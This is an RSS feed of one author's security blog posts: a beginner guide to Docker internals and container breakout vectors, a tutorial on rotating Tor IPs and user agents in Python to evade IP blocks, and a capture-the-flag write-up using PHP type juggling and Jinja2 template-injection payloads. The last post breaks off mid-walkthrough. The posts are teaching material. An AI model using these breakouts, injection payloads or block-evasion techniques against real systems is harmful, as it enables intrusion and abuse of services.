<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mayank Pandey on Medium]]></title>
        <description><![CDATA[Stories by Mayank Pandey on Medium]]></description>
        <link>https://medium.com/@mayank-01?source=rss-c066ab159c39------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*HZW9bGWp3ZwvDCbtF_D3LQ.jpeg</url>
            <title>Stories by Mayank Pandey on Medium</title>
            <link>https://medium.com/@mayank-01?source=rss-c066ab159c39------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 11:22:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mayank-01/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Beginners Guide to Container Security]]></title>
            <link>https://infosecwriteups.com/beginners-guide-to-container-security-f7e671522ae3?source=rss-c066ab159c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7e671522ae3</guid>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Mayank Pandey]]></dc:creator>
            <pubDate>Mon, 09 Jan 2023 06:36:21 GMT</pubDate>
            <atom:updated>2023-01-09T18:06:37.763Z</atom:updated>
            <content:encoded><![CDATA[<h4>Learn How to Hack Into Containers and understand how they actually work.</h4><p>Containerization is a popular way to deploy applications, many companies use this way to run their services, As a Security Enthusiast or Red Teamer it becomes necessary to know how containers work and how to break into them. Learn the basics of containerization in the context of Docker and how to hack into them.</p><figure><img alt="A Group of Hackers Trying to Break inside a Container" src="https://cdn-images-1.medium.com/max/1024/1*d5plhuuUEeVh3M2KGmUkHA.png" /><figcaption>Banner Generated by DALL.E 2 AI</figcaption></figure><p>Containers aren’t really a thing they are created using Linux kernel features such as namespaces and cgroups, which allow for the creation of isolated environments for running applications. These isolated environments, or containers, can include their own system libraries, files, and networking configurations, enabling them to function as if they are separate from the host system.</p><h3>Basic docker architecture</h3><ul><li><a href="http://containerd.io/"><strong>containerd</strong></a> is a container runtime that can m<strong>anage a complete container lifecycle — from image transfer/storage to container execution</strong>, supervision, and networking.</li><li>container-shim handles headless containers, meaning once runc initializes the containers, it exits handing the containers over to the container-shim which acts as some middleman.</li><li><a href="http://runc.io/"><strong>runc</strong></a><strong> </strong>is a lightweight universal run time container, which abides by the OCI specification. <strong>runc is used by containerd for spawning and running containers according to OCI spec</strong>. It is also the repackaging of libcontainer.</li><li><a href="http://www.grpc.io/"><strong>grpc</strong></a> used for communication between containerd and docker-engine.</li><li><a href="https://www.opencontainers.org/"><strong>OCI</strong></a> maintains the OCI specification for runtime and images. The current docker versions support OCI image and runtime specs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/0*SBzfGgdQhjRiwXL5.png" /><figcaption>Docker Arctichture | <a href="https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc">Source</a></figcaption></figure><h3>Behind the Scenes</h3><p>Docker has abstracted the process of creating an Isolated environment to run applications, it has made it pretty easy to spawn a container that is separated from the host, but if you look closely there is a lot that&#39;s going in the background. The overall process looks something like this.</p><ul><li>The Docker daemon starts the container process.</li><li>If necessary, the specified image for the container is downloaded from Docker Hub.</li><li>The unshare system call creates a new namespace for the container.</li><li>The fork system call creates a new process within the new namespace.</li><li>The container runs, using system calls such as exec, kill, and waitpid to manage processes within the container.</li></ul><p>In order to better understand containerization, it is important to familiarize ourselves with some basic terminology</p><h3>The Namespaces</h3><p>Linux namespaces (ns) are kernel-level constructs that allow for the isolation of global system resources such as network interfaces, process IDs, and mount points.</p><p>Each namespace has its own set of system resources, such as network interfaces, process IDs, and mount points. This allows processes to be isolated from one another so that they cannot interfere with or manipulate the resources of other processes.</p><p>There are several different types of namespaces in Linux, each of which provides a private view of a different type of system resource:</p><ul><li><strong>PID namespaces</strong>: Processes within a PID namespace have their own private set of process IDs, which are independent of the process IDs of processes outside the namespace. This allows multiple processes to have the same process ID without conflicting with one another.</li><li><strong>UTS namespaces</strong>: UTS namespaces provide a private view of the hostname and domain name for a process.</li><li><strong>IPC namespaces</strong>: IPC namespaces provide a private view of inter-process communication (IPC) resources, such as message queues and semaphores.</li><li><strong>Network namespaces</strong>: Network namespaces provide a private view of network interfaces, routes, and firewall rules. This allows processes within a namespace to have their own virtual network stack, which is independent of the network stack of the host system.</li><li><strong>Mount namespaces</strong>: Mount namespaces provide a private view of the file system hierarchy. Processes within a mount namespace have their own private set of mount points.</li></ul><p>You can check the namespaces of a process using ls -l /proc/&lt;PID&gt;/ns .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mYX1RyGqokvuJlT1LgJRng.png" /><figcaption>The namespace of the Host System</figcaption></figure><p><em>1150 </em>is the PID of a Process run from inside the Container</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FwCG8MFeNcGyp1OlaP4DJA.png" /><figcaption>The namespace of the Docker Container</figcaption></figure><p>Some namespaces of the Host and the container remains the same as they don&#39;t require to be isolated. We can create separate namespaces for them too.</p><p>We can also use the unshare command, it allows a process or command to be run in a new namespace.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jLV7dTwOGhFHywmIiN4-Dw.png" /><figcaption>Spawning a Shell in a new PID Namespace</figcaption></figure><p>Here we run the unshare command to spawn /bin/bash in a new PID namespace (-p). -f is used to fork the specified program as a child process of unshare rather than running it directly.</p><p>ps aux shows that only 2 processes are running, but in reality, these processes are running inside a new namespace and they can not see other processes of the host system.</p><h3>cgroups</h3><p>Control groups (cgroups) is a Linux feature that allows you to set limits on resources that processes can use and allocate these resources to containers, processes, or groups of processes. cgroups provides the core functionality that permits docker to work.</p><p>It divides system resources into control groups with specified resource limits and assigns processes to these groups to prioritize certain processes and fine-tune resource allocation.</p><p>We can launch a Docker container with limits on the number of processes or amount of memory that the container is allowed to use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DezItLJAMxZeSeLCrQ-BeA.png" /><figcaption>Using cgroups to limit processes inside a container</figcaption></figure><p>Here we set the number of processes to be 2, if we launch more than 2 processes then we get an error. This becomes important if we want to prevent attacks that consume systems resources.</p><h3>Linux Capabilities</h3><p>In Linux, capabilities are a way of dividing up the privileges associated with superuser (root) access into a set of distinct units that can be independently enabled or disabled. This allows you to give certain programs access to certain privileges without giving them full root access.</p><p>In the context of Docker, Linux capabilities can be used to allow a container to perform certain privileged actions that would normally be restricted to the host operating system’s root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1qpJth93njfhY3YtJNlGuQ.png" /><figcaption>Getting Information about the Capabilities of System</figcaption></figure><h3>Limiting syscalls with seccomp</h3><p>Seccomp (short for “Secure Computing Mode”) is a kernel feature that allows an application to specify a filter for system calls that it is allowed to make. This can be used to restrict the application’s access to the system, in order to increase the overall security of the system.</p><p>seccomp can be used to further restrict the access of a containerized application to the host system. By default, Docker containers have access to all of the same system calls as the host system, but this can be changed by specifying a seccomp profile when starting the container.</p><p>Basic seccomp profile that blocks the unlink system call:</p><pre>{<br>  &quot;defaultAction&quot;: &quot;SCMP_ACT_KILL&quot;,<br>  &quot;syscalls&quot;: [<br>    {<br>      &quot;name&quot;: &quot;unlink&quot;,<br>      &quot;action&quot;: &quot;SCMP_ACT_KILL&quot;<br>    }<br>  ]<br>}</pre><h3>AppArmor</h3><p>AppArmor is a Linux security module that allows administrators to specify rules for how applications can access resources on the host system.</p><p>In the context of Docker, AppArmor can be used to secure containers by specifying rules that restrict the actions that a containerized application is allowed to perform.</p><p>For example, the following rule will allow limited access to the mentioned files</p><pre>  /etc/shadow r,<br>  /home/credentails.txt rw,</pre><p>Let&#39;s now discuss the potential attack vectors that can be used to hack a docker container.</p><h3>Abusing privileged mode</h3><p>The --privileged flag in Docker is used to give a container full access to the host system&#39;s resources. When a container is run with this flag, it has the same privileges as the host system and can perform any action that the host can.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*28kZXfhHg5z8-Nti6RXdGQ.png" /><figcaption>Running a Container in Privileged Mode</figcaption></figure><p>Since this container is running using the privileged flag, it disables isolation and security mechanisms. We can now use the mount command to mount the host’s filesystem inside the container and read/write/update files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*hUmQ4eOqFR8O9WcmxQIkZA.png" /><figcaption>Mounting the Host File System Inside the Container</figcaption></figure><h3>Docker socket misconfigurations</h3><p>The Docker socket is used as a communication channel between the Docker client and the Docker daemon (server).</p><p>Docker socket misconfigurations can pose a security risk because they can allow unauthorized access to the Docker daemon. The Docker daemon is responsible for managing and executing containers and has access to all the resources of the host system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*TWIluu3hAF1P8Tk8zOuH7Q.png" /><figcaption>Docker socket loaded inside a container</figcaption></figure><p>You can search for docker.sock the file inside a container, these sockets files are usually loaded inside the container while launching them. Using this you can create new containers or delete the existing ones.</p><h3>Exploiting Kernel vulnerabilities</h3><p>One of the important security issues that docker has is its sharing the same kernel with the host which makes it exploitable with the same vulnerabilities in which the host system’s kernel is affected.</p><p>You can scan the Container for kernel Vulnerability using tools like <a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS"><strong>LinPEAS</strong></a></p><h3>Unauthenticated Docker HTTP REST API</h3><p>If a Docker daemon’s HTTP REST API is unauthenticated, it means that anyone can access and potentially control the Docker daemon remotely over the network without the need for a username or password.</p><p>By default, the docker REST API is an unauthenticated API, meaning anyone on the network can start and stop a container.</p><p>Mostly the service runs on port 2376 , but you can also scan the localhost to check for open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v1miil3KipjLHFNY55XVuw.png" /><figcaption>Accessing Docker REST API</figcaption></figure><h3>No network segregation</h3><p>By default, every container in the network can talk to each other and there is no segregation between them.</p><p>However, docker provides three types of network communication mechanisms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*EJGyxPDxUzimycVZbzfeYg.png" /><figcaption>Different Network Profiles in Docker</figcaption></figure><ul><li><strong>None</strong></li></ul><p>When we run the container in the none mode the docker container runs in an isolated environment. All incoming and outgoing traffic will be blocked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*lfkVKOhjmXL7UrX8v-4-7g.png" /><figcaption>No Outgoing connection is allowed</figcaption></figure><ul><li><strong>Bridge</strong></li></ul><p>In the Bridge network, containers under the same bridge network can talk to each other. The bridge network is the default driver in Docker.</p><ul><li><strong>Host</strong></li></ul><p>In the host network driver setting, the container uses the same network stack as the host. The container binds its virtual network interface card to the host’s network interface card.</p><h3>Reviewing Dockerfile</h3><p>Dockerfiles are the foundation for building a container, and it is important to consider security when creating them, few of the things that should be looked out for are:</p><ol><li>Exposing unnecessary ports: Make sure that only the ports that are required for the application to function are exposed.</li><li>Running containers as root: By default, containers run as root, which can be a security risk. Instead, create a non-root user in the Dockerfile and use that user to run the application.</li><li>Not specifying resource limits: Without resource limits, a container could potentially consume all of the host’s resources and cause a denial of service.</li><li>Using outdated base images: Base images that are out of date may contain vulnerabilities that can be exploited.</li><li>Not properly handling secrets: Sometimes you can find API Keys and secret tokens embedded inside the Dockerfile</li><li>Not enabling security features: Make sure that security features such as AppArmor and seccomp are enabled to help protect the container.</li></ol><p>These are some of the techniques you can use to hack inside a docker container. There are many other things you can try, I will highly recommend you research on your own and practice.</p><p>You can check out These <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation"><strong>Docker Breakout</strong></a> techniques for a better understanding of the topic.</p><p>Thanks a lot for reading. Share if you like it 😇😇</p><p><em>Follow me here on </em><a href="https://mayank-01.medium.com/follow"><strong><em>Medium </em></strong></a><em>and </em><a href="https://mayank-01.medium.com/subscribe"><strong><em>Subscribe to the Mailing list</em></strong></a><strong><em> 💌 </em></strong><em>if you would like to get my articles when I publish them.✨✨</em></p><p><em>My GitHub: </em><a href="https://github.com/MayankPandey01"><strong><em>MayankPandey01</em></strong></a><strong><em> 👨‍💻</em></strong></p><p><em>You can find me on Twitter: </em><a href="https://twitter.com/intent/follow?screen_name=mayank_pandey01"><strong><em>mayank_pandey01</em></strong></a><strong><em> 👻</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7e671522ae3" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/beginners-guide-to-container-security-f7e671522ae3">Beginners Guide to Container Security</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Configuring TOR with Python]]></title>
            <link>https://infosecwriteups.com/configuring-tor-with-python-1a90fc1c246f?source=rss-c066ab159c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a90fc1c246f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Mayank Pandey]]></dc:creator>
            <pubDate>Fri, 12 Aug 2022 08:03:22 GMT</pubDate>
            <atom:updated>2022-08-12T08:03:22.664Z</atom:updated>
            <content:encoded><![CDATA[<h4>Mask Your IP Address using a Python Script</h4><p>If you ever built a web scrapper then you must have faced the issue of being blocked by web servers for generating too many requests, or you Just wanted to hide your Real IP Address and automate your scripts.</p><p>In this article, I will explain how to configure TOR on your Linux System and How to implement TOR in a Python script to Mask your Real IP and Bypass IP Based Restrictions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*gIwzFlBnywbQyQ8-ioWH7A.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/photo/food-man-love-people-11035356/">RealToughCandy.com</a></figcaption></figure><h3>What is TOR?</h3><p>For Those who are new to Hacking and Programming <em>“Tor, short for The Onion Router, is free and open-source software for enabling anonymous communication”. </em><strong><em>Tor network is a secure, encrypted protocol that can ensure privacy for data and communications on the web</em></strong><em>.</em></p><p>The Tor service/browser works <strong>by using a technology known as onion routing</strong>. The onion router is a peer-to-peer (P2P) overlay network that enables users to browse the internet anonymously. Onion routing uses multiple layers of encryption to conceal both the source and destination of information sent over the network.</p><p>The TOR Network is usually accessed using the TOR Browser, but what if you wanted to use it in your Python Scripts and run Automation scripts over the TOR Network? <strong>That&#39;s exactly what we are going to do today!!</strong></p><h3>Tor installation</h3><p>The installation of Tor depends on your system and is detailed on the official <a href="https://www.torproject.org/download/">website</a>. For Most Debian Based systems this will work.</p><pre>sudo apt-get install tor</pre><p>To launch Tor, run:</p><pre>sudo service tor start</pre><p>To check if it works, simply run the following command from a terminal:</p><pre>curl --socks5 localhost:9050 --socks5-hostname localhost:9050 -s https://check.torproject.org/ | cat | grep -m 1 Congratulations | xargs</pre><p>If everything works fine You will get this output.</p><pre>Congratulations. This browser is configured to use Tor.</pre><h3>Configuring with Python</h3><p>Python Requests Module will be used to send Requests over TOR Network.</p><pre>sudo pip3 install requests<br>sudo pip3 install requests[socks]<br>sudo pip3 install requests[security]<br>sudo pip3 install cryptography</pre><p>We can now use to requests module.</p><pre>import requests</pre><p>You can check your IP address without Tor with the command:</p><pre>requests.get(&#39;https://ident.me&#39;).text</pre><p>The Output will be your Original IP Address.</p><p>To Use the TOR network inside Python Scripts we first need to tell python to use a Proxy.</p><pre>proxies = {<br>    &#39;http&#39;: &#39;socks5://127.0.0.1:9050&#39;,<br>    &#39;https&#39;: &#39;socks5://127.0.0.1:9050&#39;<br>}</pre><p>Now, you should have a new IP address with:</p><pre>requests.get(&#39;https://ident.me&#39;, proxies=proxies).text</pre><h3>Getting New Identity</h3><p>We need to get New IP address every time we make a new request or at fixed time intervals, For this, we need a Python Module called <strong>“Stem”.</strong></p><p>The stem is a Python controller library for <a href="https://www.torproject.org/"><strong>Tor</strong></a>. With it, you can use Tor’s <a href="https://gitweb.torproject.org/torspec.git/tree/control-spec.txt"><strong>control protocol</strong></a> to script against the Tor process.</p><p>For more anonymity, we can generate a new User Agent for Every request using the <strong>“Fake UserAgent”</strong> Module. Both of these modules Can be Installed using pip.</p><pre>sudo pip3 install stem<br>sudo pip3 install fake_useragent</pre><p>The Tor controller must also be configured to request identity renewal.</p><pre>sudo nano /etc/tor/torrc</pre><p>Save the following lines in the /etc/tor/torrc file.</p><pre>ControlPort 9051<br>CookieAuthentication 1</pre><p>Then we restart Tor to take into account these modifications:</p><pre>sudo service tor restart</pre><h3>Packing it all in a Script</h3><p>We now have everything ready all we need to do is to pack these things in a Script.</p><p>First of all, we need to import the needed modules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*E1HVzcbA623Pk3XmE3VOBg.png" /></figure><p>After importing the modules we define our proxy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*qZwxCZ_sWdGBNbpKzUTsVQ.png" /></figure><p>Now we will define a Handler for our Stem Controller. Using this handler we will Authenticate our Requests and Generate Signals to get a New IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*e888rUNLEcASBozE2Ozp0g.png" /></figure><p><em>Here is the Full Code</em></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/8f6225ed3c1ba76cecb33b4cf7f9b8e5/href">https://medium.com/media/8f6225ed3c1ba76cecb33b4cf7f9b8e5/href</a></iframe><p>This code will generate a New IP Address every 10 seconds with a fresh User Agent in every Request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CW_xoPSyghMkBWRnojapuA.png" /></figure><h4>Use Cases for this Tool</h4><p>There are many Scenarios in which this can be used, it can be used as a base to create many amazing tools to solve problems like</p><ul><li>Scraping Normal Web Without Getting Blocked</li><li>Making a Dark Web Scraper</li><li>Tool to Mask IP Address</li><li>And Many More…..</li></ul><p>Thanks a lot for reading. Share if you like it 😇😇</p><p><em>Follow me here on </em><a href="https://mayank-01.medium.com/follow"><strong><em>Medium </em></strong></a><em>and </em><a href="https://mayank-01.medium.com/subscribe"><strong><em>Subscribe to the Mailing list</em></strong></a><strong><em> 💌 </em></strong><em>if you would like to get my articles when I publish them.✨✨</em></p><p><em>My GitHub: </em><a href="https://github.com/MayankPandey01"><strong><em>MayankPandey01</em></strong></a><strong><em> 👨‍💻</em></strong></p><p><em>You can find me on Twitter: </em><a href="https://twitter.com/intent/follow?screen_name=mayank_pandey01"><strong><em>mayank_pandey01</em></strong></a><strong><em> 👻</em></strong></p><p><em>From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. </em><a href="https://weekly.infosecwriteups.com/"><strong><em>Join our weekly newsletter</em></strong></a><em> to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 Github Repos and tools, and 1 job alert for FREE!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a90fc1c246f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/configuring-tor-with-python-1a90fc1c246f">Configuring TOR with Python</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CloudSek EWYL 2022 CTF]]></title>
            <link>https://infosecwriteups.com/cloudsek-ewyl-2022-ctf-eae4229b561c?source=rss-c066ab159c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/eae4229b561c</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Mayank Pandey]]></dc:creator>
            <pubDate>Thu, 31 Mar 2022 05:37:37 GMT</pubDate>
            <atom:updated>2022-03-31T10:02:36.003Z</atom:updated>
            <content:encoded><![CDATA[<h4>Solving a Harry Potter Themed CTF</h4><p>This was a “Harry Potter” themed CTF containing challenges from Multiple areas of Web security like Template Injection and Code Review. This Challenge was hosted by CloudSEK as a part of the EWYL-2022 Program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lEqj94rcqFK9llK9vY75xg.png" /></figure><p>In this report, I have explained in detail how I solved the CTF.</p><h3>Initial Recon</h3><p>I started the Challenge by Scanning the Target IP which was <a href="http://13.235.95.179/"><strong>http://13.235.95.179</strong></a><strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*7arLi2VBaMO6KSFk7CnDMg.jpeg" /></figure><p>The Scan showed three Opened ports, but as Per the Rules of the CTF, we were not allowed to attack the underlying Infrastructure of the CTF. So port 22 was not touched. We will only focus on ports <strong>80</strong> and <strong>5000.</strong></p><p>After the NMAP scan, I performed a Directory Brute Force to look for Interesting Directories and Files, But that scan didn’t return anything special, not even a <em>“robots.txt”</em> file.</p><h3>Decoding &amp; Deobfuscation</h3><p>Accessing the main Webpage on <strong>Port 80</strong> showed the theme of the challenge along with a login page on the “<em>/gateway.php”</em> endpoint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z_wXhH3DV1VPyQVq12ciZA.jpeg" /></figure><p>This was a basic Login Page with not many functionalities. This page has an interesting line <em>“You also need to explore more about the content of Wizardry before coming to Hogwarts”. </em>This can be an indication of the missing “robots.txt” which we were unable to find in the Initial Scan.</p><p>After a Hit-and-Trial round, a page was found at “<em>/wizardry.txt” </em>which contained an Obfuscated Text along with a message from Dobby the ELF.</p><p>The text present here was doubly Encoded first with Base64 and then with JSFuck Language.</p><p>Gibberish Text -&gt; Base64 -&gt; JSFuck Decoded -&gt; alert(“id3nt1ty_card.php”);</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HwlhvSyC17j55mz6dm77HA.jpeg" /></figure><p>After Decoding the text at <em>“/wizardry.txt” </em>we got a new page which was <strong>id3nt1ty_card.php</strong></p><h3>Inspecting the ID CARD</h3><p><em>Vulnerability: Hidden Parameter Discovery</em></p><p>Visiting the page on <strong>id3nt1ty_card.php </strong>gave us a Picture of an ID card with some random numbers. Performing a GET parameter brute force on the endpoint gave the parameter “<strong>?id”.</strong></p><p>Using <em>?id=1</em> on the page shows us the following image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tE_dF7HK_NeMDyV0zFktkw.jpeg" /></figure><p>This shows we are on the right track, we use brute force again to get a valid value for the id parameter.</p><p>Brute forcing gave us that the parameter is accepting the value of “?id=212.”</p><p>The following response was received from the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y9OACfSBYjCay7O60sZibA.jpeg" /></figure><p>This page gave us very Useful Information which would help us to get Login into gateway</p><p>It has 2 variables present, the combination of these variables would give us the Password to login.</p><p><strong>=======&gt; x = 436c3075445f53654b5f</strong></p><p><strong>=======&gt; y = ControlC — password protected page</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yO1PuCzR0KdlzuQleBCBnA.jpeg" /></figure><p>We need to crack the password for the “<strong>ControlC”</strong> page in order to get the 2nd part of the password.</p><p>On the same page, we find a few other Images, but they are all a rabbit hole.</p><p>But one particular Image was present in the Source Code of the Page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*u3bOLIgaa8ugw8vq4QPOOQ.jpeg" /></figure><p>Here we find a PHP code for the combination of different passwords that can be used on the “ControlC” Website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pjoon-r1UBDRonAk37E0Vg.jpeg" /></figure><h3>Juggling With PHP</h3><p><em>Vulnerability: PHP Type Juggling Attack</em></p><p>The piece of code we received in the earlier step will allow us to get the 2nd part of the password from ControlC.</p><p>Let’s analyze the code now.</p><p><strong><em>-&gt; if(array_key_exists(“passphrase”,$ REQUEST))</em>:</strong> This line checks if the parameter “passphrase” is defined in the “REQUEST” body or not, the request can be of any type (GET or POST).</p><p><strong>-&gt; <em>if(strstr($ REQUEST[“passphrase”],”carbonblack”):</em></strong> This line uses the <strong>strstr </strong>function to check if the given string is present in the original string or not. It returns True if the string is present.</p><p><strong><em>-&gt; ($_REQUEST[”passphrase”] &gt; 22) &amp;&amp; ($ REQUEST[”passphrase”] &gt;55)</em></strong></p><p>This is the line where we can exploit PHP type Juggling Vulnerability, this line does a loose comparison between a string and an Integer, so only the first integer characters are checked.</p><p>So, a Few possibilities of passwords are: From 23carbonblack till 54carbonblack.</p><p>Upon trying these passwords the correct one was: <strong>33carbonblack.</strong></p><p>This gave us the 2nd part of the password :</p><p><strong>alert(“The second part of the password: W0rK_iS_FuN”);</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NItvUj6vqC9aw0JsvLapsA.jpeg" /></figure><h3>Unlocking the Gateway</h3><p><em>Steganography Challenge</em></p><p>We now have values for both the variables <em>x and y</em> to unlock the gateway</p><p><strong><em>=====&gt; x = 436c3075445f53654b5f</em></strong></p><p><strong><em>=====&gt; y = W0rK_iS_FuN</em></strong></p><p>The value of <strong><em>x</em></strong> doesn’t seem to be quite right, upon more inspection I found that it is Hex Encoded</p><p><em>436c3075445f53654b5f -&gt; Hex Decode -&gt; Cl0uD_SeK_</em></p><p>I made a list of a few possible usernames from the Challenge and Found the Correct credentials</p><p><strong><em>-&gt; Username: Cloudster</em></strong></p><p><strong><em>-&gt; Password: Cl0uD_SeK_W0rK_iS_FuN</em></strong></p><p>Using this we can now get into the Gateway. After logging in We are Greeted by a Chocolate Frogs Collectible Card Page on <strong>/we1c0mE_start.php</strong></p><p>Here we find a <strong>cfcard </strong>image. I used Exiftool to extract any possible hidden metadata inside the image. There was an Interesting Comment in the Image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0gfEigyhFS2MA5Hw2YXiHg.jpeg" /></figure><blockquote><em>Krasy8 unicode key 7 → Sl}lsf8fJs7|KfzLrf^pUMsHn (Move to next key with domain:5000 port)</em></blockquote><p>I had no idea what was <strong>Krasy8. </strong>Searching on Google gave a GitHub Repo, a tool to perform Encoding and Decoding Using a Key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*Rq7kpUmDIZmw0MZHmGqoRA.jpeg" /></figure><p>After decoding the text present in the Comment we get our Final Flag for Level 1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*BxzD0Lvj6gwWEISzhLo8rA.jpeg" /></figure><blockquote><strong>Level 1 Flag: Level_1_Cl0uD_sEk_WiNFlAg</strong></blockquote><h3>Injecting the Template</h3><p><em>Vulnerability: Server-Side Template Injection {SSTI}</em></p><p>We now move to a different port (5000) to solve the Next level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZkzilpUwbKhBYEl5nJ4xpQ.jpeg" /></figure><p>The image is self-explanatory (for the “?search” parameter). Anyways we do a Heuristic Test and find that the page accepts a parameter <strong>?search.</strong></p><p>Fuzzing the search parameter gives us an Interesting result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*47JM2AYmO3-2WCNi-T4cdQ.jpeg" /></figure><p>The result confirmed that the server is Vulnerable to SSTI, the Backend was using <strong>Jinja2</strong> Template. I tried to run system Commands using the <strong>OS </strong>module but it failed <strong><em>[Because they don’t want us to run commands on the server]</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1RKa2Oe6dB4RpMTuY8Xu_g.jpeg" /></figure><p>So now the only path left here was to check for a few predefined objects in the app like <strong>“Config”. </strong>I used the <strong>{{Config }} </strong>object and Voilla!!! I received a Response…</p><p><strong>- What is Config object?</strong></p><p>The config object is a Flask template global that represents “The current configuration object (flask.config).”</p><p>It is a dictionary-like object that contains all of the configuration values for the application.</p><p>In most cases, this includes sensitive values such as database connection strings, credentials to third-party services, the SECRET_KEY, etc. Viewing these configuration items is as easy as injecting a payload of <strong>{{ config.items() }} or {{config}}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oMWRpkIH5ij7MQhMBo5D4w.jpeg" /></figure><p>The response had an interesting text <strong>{Nothing to hide on /adieu}</strong>.</p><p>So as a Hacker what do we do when someone tells us not to visit something? Exactly, We Visit it!!</p><h3>“adieu”</h3><p>Moving to the next Page we get a simple page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9p4xT5aOp4yRi7RJhMQqNw.jpeg" /></figure><p>Viewing the Source of this page gives us something Interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9iOOuA2uAP6yQVOLnhjnXg.jpeg" /></figure><p>From here we get a link for GitHub Repo: <a href="https://github.com/aayush-vish/cloudSEK-CTF"><strong>https://github.com/aayush-vish/cloudSEK-CTF</strong></a></p><p>Manually Visiting the Repo Give us a 404 error which means this Repo is Private. We need to work more to get to this Private repo.</p><h3>GitHub Quest</h3><p>Doing More Passive Recon we find a Few Indexed Commits from the Owner of the Private Repo.</p><figure><img alt="" 